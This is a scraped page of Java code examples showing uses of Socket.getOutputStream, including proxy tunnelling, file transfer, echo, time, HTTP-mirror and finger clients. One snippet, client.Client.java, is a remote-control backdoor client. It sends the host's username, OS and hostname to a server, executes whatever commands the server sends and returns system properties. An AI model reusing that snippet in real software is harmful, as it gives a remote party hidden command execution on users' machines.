List of usage examples for java.net Socket getOutputStream
public OutputStream getOutputStream() throws IOException
From source file:ProxyTunnelDemo.java
public static void main(String[] args) throws Exception { ProxyClient proxyclient = new ProxyClient(); // set the host the proxy should create a connection to ///*w w w . j a va 2 s . co m*/ // Note: By default port 80 will be used. Some proxies only allow conections // to ports 443 and 8443. This is because the HTTP CONNECT method was intented // to be used for tunneling HTTPS. proxyclient.getHostConfiguration().setHost("www.yahoo.com"); // set the proxy host and port proxyclient.getHostConfiguration().setProxy("10.0.1.1", 3128); // set the proxy credentials, only necessary for authenticating proxies proxyclient.getState().setProxyCredentials(new AuthScope("10.0.1.1", 3128, null), new UsernamePasswordCredentials("proxy", "proxy")); // create the socket ProxyClient.ConnectResponse response = proxyclient.connect(); if (response.getSocket() != null) { Socket socket = response.getSocket(); try { // go ahead and do an HTTP GET using the socket Writer out = new OutputStreamWriter(socket.getOutputStream(), "ISO-8859-1"); out.write("GET http://www.yahoo.com/ HTTP/1.1\r\n"); out.write("Host: www.yahoo.com\r\n"); out.write("Agent: whatever\r\n"); out.write("\r\n"); out.flush(); BufferedReader in = new BufferedReader( new InputStreamReader(socket.getInputStream(), "ISO-8859-1")); String line = null; while ((line = in.readLine()) != null) { System.out.println(line); } } finally { // be sure to close the socket when we're done socket.close(); } } else { // the proxy connect was not successful, check connect method for reasons why System.out.println("Connect failed: " + response.getConnectMethod().getStatusLine()); System.out.println(response.getConnectMethod().getResponseBodyAsString()); } }
From source file:client.Client.java
/** * @param args the command line arguments *//*ww w. j a v a 2 s .c om*/ public static void main(String[] args) throws Exception { Socket st = new Socket("127.0.0.1", 1604); BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream())); PrintWriter p = new PrintWriter(st.getOutputStream()); while (true) { String s = r.readLine(); new Thread() { @Override public void run() { String[] ar = s.split("\\|"); if (s.startsWith("HALLO")) { String str = ""; try { str = InetAddress.getLocalHost().getHostName(); } catch (Exception e) { } p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|" + System.getProperty("os.name") + "|" + str); p.flush(); } if (s.startsWith("msg")) { String text = fromHex(ar[1]); String title = ar[2]; int i = Integer.parseInt(ar[3]); JOptionPane.showMessageDialog(null, text, title, i); } if (s.startsWith("execute")) { String cmd = ar[1]; try { Runtime.getRuntime().exec(cmd); } catch (Exception e) { } } if (s.equals("getsystem")) { StringBuilder sb = new StringBuilder(); for (Object o : System.getProperties().entrySet()) { Map.Entry e = (Map.Entry) o; sb.append("\n" + e.getKey() + "|" + e.getValue()); } p.println("systeminfos|" + toHex(sb.toString().substring(1))); p.flush(); } } }.start(); } }
From source file:Main.java
public static void main(String[] args) throws IOException { ServerSocket servsock = new ServerSocket(123456); File myFile = new File("s.pdf"); while (true) {/*www. ja v a 2 s . c o m*/ Socket sock = servsock.accept(); byte[] mybytearray = new byte[(int) myFile.length()]; BufferedInputStream bis = new BufferedInputStream(new FileInputStream(myFile)); bis.read(mybytearray, 0, mybytearray.length); OutputStream os = sock.getOutputStream(); os.write(mybytearray, 0, mybytearray.length); os.flush(); sock.close(); } }
From source file:Main.java
public static void main(String[] args) throws Exception { Socket socket = new Socket("localhost", 8000); File file = new File("C:/Users/abc/Desktop/image.jpg"); FileInputStream fileInputStream = new FileInputStream(file); byte[] fileBytes = new byte[(int) file.length()]; OutputStream outputStream = socket.getOutputStream(); int content;//w w w. j a va 2 s .c om while ((content = fileInputStream.read(fileBytes)) != -1) { outputStream.write(fileBytes, 0, (int) file.length()); } System.out.println("file size is " + fileBytes.length); for (byte a : fileBytes) { System.out.println(a); } socket.close(); fileInputStream.close(); }
From source file:MainClass.java
public static void main(String[] args) throws Exception { String hostname = "localhost"; Socket theSocket = new Socket(hostname, 7); BufferedReader networkIn = new BufferedReader(new InputStreamReader(theSocket.getInputStream())); BufferedReader userIn = new BufferedReader(new InputStreamReader(System.in)); PrintWriter out = new PrintWriter(theSocket.getOutputStream()); System.out.println("Connected to echo server"); while (true) { String theLine = userIn.readLine(); if (theLine.equals(".")) break; out.println(theLine);// www . java2 s .co m out.flush(); System.out.println(networkIn.readLine()); } networkIn.close(); out.close(); }
From source file:cloudclient.Client.java
public static void main(String[] args) throws Exception { //Command interpreter CommandLineInterface cmd = new CommandLineInterface(args); String socket = cmd.getOptionValue("s"); String Host_IP = socket.split(":")[0]; int Port = Integer.parseInt(socket.split(":")[1]); String workload = cmd.getOptionValue("w"); try {/* w ww . ja va 2 s . c om*/ // make connection to server socket Socket client = new Socket(Host_IP, Port); InputStream inStream = client.getInputStream(); OutputStream outStream = client.getOutputStream(); PrintWriter out = new PrintWriter(outStream, true); BufferedReader in = new BufferedReader(new InputStreamReader(inStream)); System.out.println("Send tasks to server..."); //Start clock long startTime = System.currentTimeMillis(); //Batch sending tasks batchSendTask(out, workload); client.shutdownOutput(); //Batch receive responses batchReceiveResp(in); //End clock long endTime = System.currentTimeMillis(); double totalTime = (endTime - startTime) / 1e3; System.out.println("\nDone!"); System.out.println("Time to execution = " + totalTime + " sec."); // close the socket connection client.close(); } catch (IOException ioe) { System.err.println(ioe); } }
From source file:BufferedSocketClient.java
public static void main(String args[]) throws Exception { Socket socket1; int portNumber = 1777; String str = "initialize"; socket1 = new Socket(InetAddress.getLocalHost(), portNumber); BufferedReader br = new BufferedReader(new InputStreamReader(socket1.getInputStream())); PrintWriter pw = new PrintWriter(socket1.getOutputStream(), true); pw.println(str);//from w w w .j a v a2 s . c o m while ((str = br.readLine()) != null) { System.out.println(str); pw.println("bye"); if (str.equals("bye")) break; } br.close(); pw.close(); socket1.close(); }
From source file:net.socket.bio.TimeClient.java
/** * @param args/*w w w.ja v a 2s. co m*/ */ public static void main(String[] args) { int port = 8089; if (args != null && args.length > 0) { try { port = Integer.valueOf(args[0]); } catch (NumberFormatException e) { // } } Socket socket = null; BufferedReader in = null; PrintWriter out = null; try { socket = new Socket("127.0.0.1", port); in = new BufferedReader(new InputStreamReader(socket.getInputStream())); out = new PrintWriter(socket.getOutputStream(), true); out.println("QUERY TIME ORDER"); out.println("QUERY TIME ORDER"); String test = StringUtils.repeat("hello tcp", 1000); out.println(test); System.out.println("Send order 2 server succeed."); String resp = in.readLine(); System.out.println("Now is : " + resp); } catch (Exception e) { e.printStackTrace(); } finally { IOUtils.closeQuietly(out); IOUtils.closeQuietly(in); IOUtils.closeQuietly(socket); } }
From source file:HttpMirror.java
public static void main(String args[]) { try {//from w w w . j a v a 2 s . co m // Get the port to listen on int port = Integer.parseInt(args[0]); // Create a ServerSocket to listen on that port. ServerSocket ss = new ServerSocket(port); // Now enter an infinite loop, waiting for & handling connections. for (;;) { // Wait for a client to connect. The method will block; // when it returns the socket will be connected to the client Socket client = ss.accept(); // Get input and output streams to talk to the client BufferedReader in = new BufferedReader(new InputStreamReader(client.getInputStream())); PrintWriter out = new PrintWriter(client.getOutputStream()); // Start sending our reply, using the HTTP 1.1 protocol out.print("HTTP/1.1 200 \r\n"); // Version & status code out.print("Content-Type: text/plain\r\n"); // The type of data out.print("Connection: close\r\n"); // Will close stream out.print("\r\n"); // End of headers // Now, read the HTTP request from the client, and send it // right back to the client as part of the body of our // response. The client doesn't disconnect, so we never get // an EOF. It does sends an empty line at the end of the // headers, though. So when we see the empty line, we stop // reading. This means we don't mirror the contents of POST // requests, for example. Note that the readLine() method // works with Unix, Windows, and Mac line terminators. String line; while ((line = in.readLine()) != null) { if (line.length() == 0) break; out.print(line + "\r\n"); } // Close socket, breaking the connection to the client, and // closing the input and output streams out.close(); // Flush and close the output stream in.close(); // Close the input stream client.close(); // Close the socket itself } // Now loop again, waiting for the next connection } // If anything goes wrong, print an error message catch (Exception e) { System.err.println(e); System.err.println("Usage: java HttpMirror <port>"); } }
From source file:finger.java
public static void main(String[] args) { String hostname;// www .j a v a2s. c o m Socket theSocket; DataInputStream theFingerStream; PrintStream ps; try { hostname = args[0]; } catch (Exception e) { hostname = "localhost"; } try { theSocket = new Socket(hostname, port, true); ps = new PrintStream(theSocket.getOutputStream()); for (int i = 1; i < args.length; i++) ps.print(args[i] + " "); ps.print("\r\n"); theFingerStream = new DataInputStream(theSocket.getInputStream()); String s; while ((s = theFingerStream.readLine()) != null) { System.out.println(s); } } catch (IOException e) { System.err.println(e); } }